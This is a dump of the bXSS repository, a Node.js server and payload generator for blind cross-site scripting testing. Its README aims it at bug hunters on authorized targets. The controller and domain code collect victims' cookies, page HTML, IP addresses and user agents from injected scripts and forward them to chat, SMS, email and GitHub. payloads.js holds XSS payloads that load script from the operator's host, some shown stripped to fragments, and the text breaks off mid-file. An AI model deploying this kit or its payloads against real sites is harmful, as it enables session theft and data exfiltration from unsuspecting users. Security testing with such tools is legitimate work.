Repository: LewisArdern/bXSS Branch: master Commit: e19135c306c7 Files: 29 Total size: 69.1 KB Directory structure: gitextract_pyrveit8/ ├── .dockerignore ├── .github/ │ └── workflows/ │ └── codeql-analysis.yml ├── .gitignore ├── LICENSE ├── README.md ├── app.js ├── package.json ├── server/ │ ├── config/ │ │ ├── configExample.js │ │ ├── express.js │ │ └── routes.js │ ├── controllers/ │ │ └── xss.js │ └── utilities/ │ ├── config.js │ ├── domain.js │ ├── payloads.js │ ├── save.js │ ├── services/ │ │ ├── discord.js │ │ ├── email.js │ │ ├── github.js │ │ ├── slack.js │ │ ├── sms.js │ │ ├── spark.js │ │ └── twitter.js │ └── templates/ │ ├── markdown.js │ └── script.js └── tests/ └── __tests__/ ├── services/ │ └── sms.unit.test.js └── utilities/ ├── config.unit.test.js ├── domain.unit.test.js ├── payload.unit.test.js └── save.unit.test.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ node_modules server/config/configExample.js server/config/site.conf found/ certs/ .idea/ test.html ================================================ FILE: .github/workflows/codeql-analysis.yml ================================================ # For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # name: "CodeQL" on: push: branches: [ master ] pull_request: # The branches below must be a subset of the branches above branches: [ master ] schedule: - cron: '22 7 * * 2' jobs: analyze: name: Analyze runs-on: ubuntu-latest permissions: actions: read contents: read security-events: write strategy: fail-fast: false matrix: language: [ 'javascript' ] # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] # Learn more: # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed steps: - name: Checkout repository uses: actions/checkout@v2 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL uses: github/codeql-action/init@v1 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. # By default, queries listed here will override any specified in a config file. # Prefix the list here with "+" to use these queries and those in the config file. # queries: ./path/to/local/query, your-org/your-repo/queries@main # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild uses: github/codeql-action/autobuild@v1 # ℹ️ Command-line programs to run using the OS shell. # 📚 https://git.io/JvXDl # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines # and modify them (or add more) to build your code if your project # uses a compiled language #- run: | # make bootstrap # make release - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v1 ================================================ FILE: .gitignore ================================================ node_modules server/config/config.js server/config/site.conf found/ certs/ .idea/ test.html Dockerfile ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2018 Lewis Ardern Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # [bXSS](https://github.com/LewisArdern/bXSS) Language grade: JavaScript bXSS is a utility which can be used by bug hunters and organizations to identify [Blind Cross-Site Scripting](https://ardern.io/2017/12/10/blind-xss/). bXSS supports the following: - [Intrusive Levels](./Images/intrusion.jpg) - [Email](./Images/email.jpg) - [Auto report via /.well-known/security.txt](./Images/securitytxt.jpg) - [Twilio](./Images/sms.jpg) - [Slack](./Images/slack.jpg) - [Webex Teams](./Images/cisco.jpg) - [Discord](./Images/discord.jpg) - [Twitter](./Images/twitter.jpg) - [Github](./Images/github.JPG) - [Payload Generation](./Images/payloads.jpg) - [Save locally](./Images/file.jpg) # Requirements ## Necessary - Server you control - Usable domain - Node.js and Express.js ## Optional - [SMTP](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol) - [Twilio Account](https://www.twilio.com/sms) - [Slack Token](https://api.slack.com/docs/token-types) - [Cisco Token](https://developer.webex.com/docs/api/v1/people/get-my-own-details) - [Discord Token](https://github.com/reactiflux/discord-irc/wiki/Creating-a-discord-bot-&-getting-a-token) - [Github Access Token](https://github.com/settings/tokens) - [Twitter Developer Account](https://developer.twitter.com/en/apply/user) - [SSL/TLS Certificate](https://letsencrypt.org) # Set-Up ## Default - cd bXSS && npm install - Update The Configuration || Environment Variables - Domain - config.url = Domain intended for use e.g ardern.io - config.port.http = Port to run the Node.js app e.g 80 - Rename configExample.js to config.js ## Configuring Services Services are optional, by default bXSS will save a markdown file to disk. If you don't want to use any service documented below, just delete the service from the config. - Twilio - config.twilio.accountSid = [Twilio SID](https://support.twilio.com/hc/en-us/articles/223136607-What-is-an-Application-SID) - config.twilio.authToken = [Twilio Auth Token](https://support.twilio.com/hc/en-us/articles/223136027-Auth-Tokens-and-how-to-change-them) - config.twilio.to = ['+447500000000','+0018056826043'] Your telephone number(s) - config.twilio.from = [Twilio telephone number](https://support.twilio.com/hc/en-us/articles/223136207-Getting-started-with-your-new-Twilio-phone-number) - Slack - config.slack.token = [Slack Token](https://api.slack.com/docs/token-types) - config.slack.channel = [Channel you want to send the report to](https://get.slack.help/hc/en-us/articles/201402297-Create-a-channel) - Slack permissions required [channels:read](https://api.slack.com/scopes/channels:read) and [chat:write](https://api.slack.com/scopes/chat:write) - Cisco - config.ciscoSpark.token = [Cisco Token](https://developer.webex.com/docs/api/v1/people/get-my-own-details) - config.ciscoSpark.sparkRoom = ['email1@domain.com','email2@domain.com'] - Discord - Steps to create a bot: - Visit https://discordapp.com/developers/applications/ - Create a new application (e.g bXSSForCompany) - Make a note of your CLIENT ID - Select 'Bot' - Choose a USERNAME and press 'Click to Reveal Token' (copy the token) - Visit the following URL (update with your CLIENT ID) https://discordapp.com/oauth2/authorize?&client_id=YOUR_CLIENT_ID&scope=bot&permissions=2048 - Select the server you want your bot to join and authorize - Update the following values below for the bot to post to the 'text channel' e.g ('general') - config.discord.token = 'your bot token' - config.discord.channel = 'channel that you want it to join, e.g general' - Twitter - config.twitter.consumer_key = API Key - config.twitter.consumer_secret = API Secret Key - config.twitter.access_token_key = Application Access Token - config.twitter.access_token_secret = Application Access Token Secret - Permissions (Write) - config.twitter.recipient_id = Twitter User ID, which can be found [here](https://twitter.com/settings/your_twitter_data) - SMTP - config.smtp.user = email username - config.smtp.pass = email password - config.smtp.port = port you are connecting to e.g 465 - config.smtp.host = host you are connecting to e.g smtp.example.com - config.smtp.to = ['email1@domain.com','email2@domain.com'] where you want to send the emails - config.smtp.tls = use TLS, boolean true or false - Github - [config.github.accessToken](https://github.com/settings/tokens) = '' - config.github.repo = '' an example is lewisardern/bXSS ## Setting Up HTTPS Consider using a [reverse proxy](https://www.nginx.com/resources/glossary/reverse-proxy-server/), for example in [NGINX](https://pastebin.com/nCVSh5iv), but if you want to configure HTTPS using express, follow the steps below: - Obtain a let's Encrypt cert - [Manual](https://gist.github.com/davestevens/c9e437afbb41c1d5c3ab) - [certbot](https://medium.com/@yash.kulshrestha/using-lets-encrypt-with-express-e069c7abe625) - Using Node.js - Update Configuration - config.letsEncrypt.TLS = true; - config.letsEncrypt.publicKey = \$Path/fullchain.pem - config.letsEncrypt.privateKey = \$Path/privkey.pem - config.letsEncrypt.ca = \$Path/chain.pem - config.port.https = 443 ## Starting The Application Once you have configured the above, simply start the server with any available utility at the application root directory: - node app.js - nodemon app.js - pm2 start app.js # Using Once the application is functional, you would just identify sites you are authorized to test and start to inject different payloads that will attempt to load your resource, the easiest example is: ``` "> ``` The application has the following routes: - POST - /m (Captures DOM information) - GET - /mH (Captures HTTP interactions) - GET - /alert (displays alert(1)) - GET - /payloads (Gives payloads you can use for testing blind xss) - GET - /\*\* (All other routes load the payload) # Contribute? If you like the project, feel free to contribute or if you want to suggest improvements or notice any problems, file a [issue](https://github.com/LewisArdern/bXSS/issues). ================================================ FILE: app.js ================================================ process.env.NODE_PATH = __dirname; require('module').Module._initPaths(); // const express = require('express'); const fs = require('fs'); const https = require('https'); const app = express(); const config = require('server/utilities/config'); const path = require('path'); const dir = path.normalize(`${__dirname}/server/found/`); const urls = path.normalize(`${dir}urls.txt`); const date = path.normalize(`${dir}date.txt`); const moment = require('moment'); require('server/config/express')(app); require('server/config/routes')(app, config); /** * Checks if folders exist, creates them otherwise. */ if (!fs.existsSync(dir)) { fs.mkdirSync(dir); } if (!fs.existsSync(urls)) { fs.writeFileSync(urls, 'http://example.com:3000/index.html\r\n', err => { if (err) throw err; console.log(`Created ${urls}`); }); } if (!fs.existsSync(date)) { fs.writeFileSync( date, moment() .subtract(1, 'day') .format('YYYY-MM-DD'), err => { if (err) throw err; console.log(`Created ${date}`); } ); } app.listen(config.port.http, () => console.log(`bXSS listening on port ${config.port.http}`)); if (config.isValid(['letsEncrypt.TLS'])) { if ( fs.existsSync(config.letsEncrypt.publicKey) && fs.existsSync(config.letsEncrypt.privateKey) && fs.readFileSync(config.letsEncrypt.ca) && config.letsEncrypt.TLS === true ) { const options = { cert: fs.readFileSync(config.letsEncrypt.publicKey), key: fs.readFileSync(config.letsEncrypt.privateKey), ca: fs.readFileSync(config.letsEncrypt.ca) }; https.createServer(options, app).listen(config.port.https); } } ================================================ FILE: package.json ================================================ { "name": "bXSS", "version": "1.0.0", "description": "bXSS is a simple Blind XSS application adapted from https://cure53.de/m", "main": "app.js", "scripts": { "test": "jest --modulePaths .", "lint": "eslint server", "prettier": "prettier server/**/*.{js,json,md}", "format": "npm run prettier -- --write", "validate": "npm run lint && npm run prettier -- --list-different", "precommit": "lint-staged && npm test" }, "author": "Lewis Ardern", "license": "MIT", "dependencies": { "body-parser": "^1.18.2", "btoa": "^1.2.1", "ciscospark": "^1.32.23", "cors": "^2.8.5", "discord.js": "^11.4.2", "express": "^4.16.2", "helmet": "^3.12.0", "jsdom": "^13.2.0", "moment": "^2.21.0", "nodemailer": "^6.4.16", "nodemailer-markdown": "^1.0.3", "octonode": "^0.9.5", "slack": "^11.0.0", "twilio": "^3.18.0", "twitter-lite": "^0.8.0", "uuid": "^3.2.1", "validator": "^13.7.0" }, "devDependencies": { "eslint": "^4.19.1", "eslint-config-airbnb": "^16.1.0", "eslint-config-airbnb-base": "^12.1.0", "eslint-config-prettier": "^3.3.0", "eslint-plugin-import": "^2.9.0", "eslint-plugin-jest": "^22.1.2", "eslint-plugin-jsx-a11y": "^6.0.3", "eslint-plugin-prettier": "^3.0.0", "eslint-plugin-react": "^7.7.0", "husky": "^1.2.1", "jest": "^23.6.0", "lint-staged": "^8.1.0", "prettier": "^1.15.3" }, "eslintConfig": { "extends": [ "airbnb-base", "prettier", "plugin:jest/recommended" ], "plugins": [ "jest" ], "parserOptions": { "ecmaVersion": "2018" }, "env": { "node": true, "jest/globals": true }, "rules": { "no-console": 0, "no-underscore-dangle": 0, "global-require": 0 }, "settings": { "import/resolver": { "node": { "paths": [ "." ] } } } }, "lint-staged": { "*.js": [ "eslint" ], "*.{js,json,md}": [ "prettier --write", "git add" ] }, "prettier": { "printWidth": 100, "singleQuote": true } } ================================================ FILE: server/config/configExample.js ================================================ const config = {}; config.twilio = {}; config.gmail = {}; config.slack = {}; config.letsEncrypt = {}; config.ciscoSpark = {}; config.discord = {}; config.twitter = {}; config.smtp = {}; config.github = {}; config.port = {}; config.port.http = process.env.httpPort || 80; config.url = process.env.url || 'localhost'; config.boundary = process.env.boundary || '#!!!!#'; config.bodyLimit = process.env.bodyLimit || '50mb'; config.letsEncrypt.TLS = false; config.port.https = process.env.httpsPort || 443; config.letsEncrypt.publicKey = process.env.publicKey || `/etc/letsencrypt/live/${config.url}/fullchain.pem`; config.letsEncrypt.privateKey = process.env.privateKey || `/etc/letsencrypt/live/${config.url}/privkey.pem`; config.letsEncrypt.ca = process.env.ca || `/etc/letsencrypt/live/${config.url}/chain.pem`; // Remove if you dont' want Twilio config.twilio.accountSid = process.env.accountSid || ''; config.twilio.authToken = process.env.authToken || ''; config.twilio.to = process.env.twilioTo || ['']; // add additonal numbers with comma seperation e.g '+447000000', '' config.twilio.from = process.env.twilioFrom || ''; // Remove if you dont want Discord config.discord.token = process.env.discordToken || ''; config.discord.channel = process.env.discordChannel || ''; // Remove if you dont want Slack config.slack.token = process.env.token || ''; config.slack.channel = process.env.slackChannel || ''; // Remove if you dont want Cisco Webex Teams config.ciscoSpark.token = process.env.sparkToken || ''; config.ciscoSpark.sparkRoom = process.env.sparkRoom || ['']; // add additonal emails with comma seperation e.g 'youremail@gmail.com', '' // Remove if you don't want Twitter config.twitter.consumer_key = process.env.twitterConsumerKey || ''; config.twitter.consumer_secret = process.env.twitterSecret || ''; config.twitter.access_token_key = process.env.twitterAccessKey || ''; config.twitter.access_token_secret = process.env.twitterAccessSecret || ''; config.twitter.recipient_id = process.env.recipient || ['']; // add additional recipients which can be comma seperation e.g '12030210321','1232131321' // Remove if you don't want email config.smtp.user = process.env.smtpUser || 'user@example.com'; config.smtp.pass = process.env.smtpPass || 'hunter2'; config.smtp.port = process.env.smtpPort || '469'; config.smtp.host = process.env.smtpHost || 'smtp.example.com'; config.smtp.tls = process.env.smtpTls || true; // true or false config.smtp.to = process.env.smtpTo || ['user2@example.com']; // add additonal emails with comma seperation '', '' // Remove if you don't want github config.github.accessToken = process.env.accessToken || ''; config.github.repo = process.env.githubRepo || ''; // 1 Everything // 0 Just DOM Nodes config.intrusiveLevel = 0; module.exports = config; ================================================ FILE: server/config/express.js ================================================ const bodyParser = require('body-parser'); const helmet = require('helmet'); const config = require('../utilities/config'); const cors = require('cors'); module.exports = app => { app.use(helmet()); // Remove x-powered and add default security headers app.use(cors()); // Use for payloads which perform XHR and trigger pre-flight. app.use(bodyParser.json({ limit: config.bodyLimit })); // to support JSON-encoded bodies app.use( bodyParser.urlencoded({ limit: config.bodyLimit, // to support URL-encoded bodies extended: true }) ); }; ================================================ FILE: server/config/routes.js ================================================ const xss = require('../controllers/xss'); module.exports = app => { // Whenever _ body is sent via /m/ POST it will trigger the capture request app.post('/m', xss.capture); // Captures HTTP interactions for example var x = New Image;x.src='//localhost/mH'; app.get('/mH', xss.capture); // This GET query show's payloads that can be used when testing for bXSS. app.get('/payloads', xss.generatePayloads); // just shows alert(1), for normal xss. app.get('/alert', xss.displayDefault); // For CSP Base href redirection app.get('*', xss.displayScript); }; ================================================ FILE: server/controllers/xss.js ================================================ const uuid = require('uuid/v1'); const config = require('server/utilities/config'); const template = require('server/utilities/templates/script'); const payloads = require('server/utilities/payloads'); const Domain = require('server/utilities/domain'); const URL = require('url'); const reporters = [ require('server/utilities/services/email'), require('server/utilities/services/slack'), require('server/utilities/services/discord'), require('server/utilities/services/spark'), require('server/utilities/services/twitter'), require('server/utilities/services/sms'), require('server/utilities/services/github'), require('server/utilities/save') ]; /* eslint-disable no-shadow */ function reportToUtilities(guid, domain, config) { reporters.forEach(svc => svc.send(guid, domain, config)); } exports.displayScript = (req, res) => { res.type('.js'); res.send(template.generateTemplate(config)); }; exports.displayDefault = (req, res) => { res.type('.js'); res.send('alert(1)'); }; exports.generatePayloads = (req, res) => { res.set('Content-Type', 'text/plain'); res.send(payloads.generatePayloads(config)); }; exports.capture = (req, res) => { let domain = {}; const guid = uuid(); if (req.body._) { domain = Domain.fromPayload(req.body._, config); } else { domain = new Domain(config); domain.url = req.get('referer') || null; } domain.victimIP = req.headers['x-forwarded-for'] || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress || null; domain.userAgent = req.headers['user-agent'] || null; if (domain.url !== null) { const validDomain = new URL.URL({ toString: () => domain.url }); if (validDomain.protocol === 'https:' || 'http:' || 'file:') { reportToUtilities(guid, domain, config); } } res.redirect(`${domain.url}#x1`); }; ================================================ FILE: server/utilities/config.js ================================================ /* eslint valid-typeof: "off" */ const assert = require('assert'); let config = {}; try { config = require('server/config/config'); } catch (e) { console.log(`Error loading config: ${e}`); } /** * Converts a string specification of types into predicate functions. * @example resolveTestTypes('number|string|null') * @param {string} types A bar-delimited string of JS types * @return {Array} */ function resolveTypePredicates(types) { assert(typeof types === 'string', `Expected string, got ${typeof types}`); return types.split('|').map(type => { if (type === 'any') { return val => !(val === undefined || val === null); } switch (type) { case 'null': return val => [null, undefined].indexOf(val) !== -1; case 'array': return val => val instanceof Array; case 'object': return val => !(val instanceof Array) && typeof val === 'object'; default: return val => typeof val === type; } }); } /** * Returns a node specified by a string path in dot notation. * @param {string} path A path to a nested property in dot notation * @param {object} obj The object to traverse * @return {any} The value of the nested property */ config.get = path => path.split('.').reduce((obj, key) => (typeof obj === 'object' ? obj[key] : undefined), config); /** * Check supplied config values against a type specification. * @example isValid(['port.http', 'url']) checks only if the keys are defined * @example isValid({'port.http': 'number', 'url': 'string|null'}) type checks * @param {object|Array} spec A keys->type specification object, or list of keys * @return {bool} Whether the specified keys meet the criteria. */ config.isValid = spec => !(spec instanceof Array ? spec : Object.keys(spec)).some(key => { assert(typeof key === 'string', `Expected string, got ${typeof key}`); const predicates = resolveTypePredicates(spec[key] || 'any'); const value = config.get(key); return !predicates.some(pred => pred(value)); }); // module.exports = config; ================================================ FILE: server/utilities/domain.js ================================================ const validator = require('validator'); const payloads = require('./payloads'); class Domain { constructor(config = {}) { this.data = new Map(); this.config = config; return new Proxy(this, this); } static from(data, config = {}) { const domain = new Domain(config); Domain.FIELDS.forEach(key => { let val = data[key]; if (val === 'null' || val === undefined) val = null; domain[key] = val; }); return domain; } static fromArray(arr = [], config = {}) { const domain = {}; Domain.FIELDS.forEach((key, idx) => { domain[key] = arr[idx]; }); return Domain.from(domain, config); } static fromPayload(payload, config = {}) { return Domain.fromArray(unescape(payload).split(`\r\n\r\n${config.boundary}`), config); } get(_, prop) { if (this[prop] !== undefined) { return this[prop]; } const getter = `get${prop.charAt(0).toUpperCase()}${prop.slice(1)}`; if (typeof this[getter] === 'function') { return this[getter](); } return this.data.get(prop); } set(_, prop, value) { const setter = `set${prop.charAt(0).toUpperCase()}${prop.slice(1)}`; if (typeof this[setter] === 'function') { this[setter](value); } else { this.data.set(prop, value); } return true; } [Symbol.iterator]() { return this.data.iterator(); } html() { return this.innerHTML || this.openerInnerHTML; } processHTML(html) { if (this.config.intrusiveLevel !== 1 && html) { return html .split(',') .map(node => `${node}
`) .join(''); } return html; } setInnerHTML(html) { this.data.set('innerHTML', this.processHTML(html)); } setOpenerInnerHTML(html) { this.data.set('openerInnerHTML', this.processHTML(html)); } setPayload(payload) { this.data.set('payload', payloads.processPayload(payload, this.config)); } /** * Takes in an XHR response captured from the client-side * * It will check to see if a value includes Contact: (which is used in the * spec e.g https://www.google.com/.well-known/security.txt, Strip away Contact: and mailto: and remove any whitespace * * @param {string} securityTxt * @returns {array} */ setHasSecurityTxt(securityTxt) { let securityTxtEmail = []; if (typeof securityTxt === 'string') { securityTxt.split('\r\n').forEach(item => { if (item.includes('Contact:')) { const email = item .replace('Contact:', '') .replace('mailto:', '') .trim(); if (validator.isEmail(email) && !securityTxtEmail.includes(email)) securityTxtEmail.push(email); } }); } if (securityTxtEmail[0] === undefined) { securityTxtEmail = null; } this.data.set('hasSecurityTxt', securityTxtEmail); } } Domain.FIELDS = [ 'cookie', 'innerHTML', 'url', 'openerLocation', 'openerInnerHTML', 'openerCookie', 'hasSecurityTxt', 'payload', 'victimIP', 'userAgent' ]; module.exports = Domain; ================================================ FILE: server/utilities/payloads.js ================================================ const jsdom = require('jsdom'); const { JSDOM } = jsdom; exports.generatePayloads = config => this.payloadList(config) .map(payload => `Description: ${payload.description}\r\n${payload.payload}\r\n\r\n`) .join(''); exports.payloadList = config => { const payloads = [ { description: 'Image HTTP Interaction', payload: `">` }, { description: 'External JavaScript', id: '1', payload: `">` }, { description: 'JavaScript URI', id: '2', payload: `javascript:eval('d=document; _ = d.createElement(\\'script\\');_.id='2';_.src=\\'//${ config.url }/m\\';d.body.appendChild(_)")` }, { description: 'JavaScript URI href', id: '3', payload: `">Click` }, { description: 'https://html5sec.org - Self-executing focus event via autofocus', id: '4', payload: `">` }, { description: 'https://html5sec.org - HTML5 - JavaScript execution via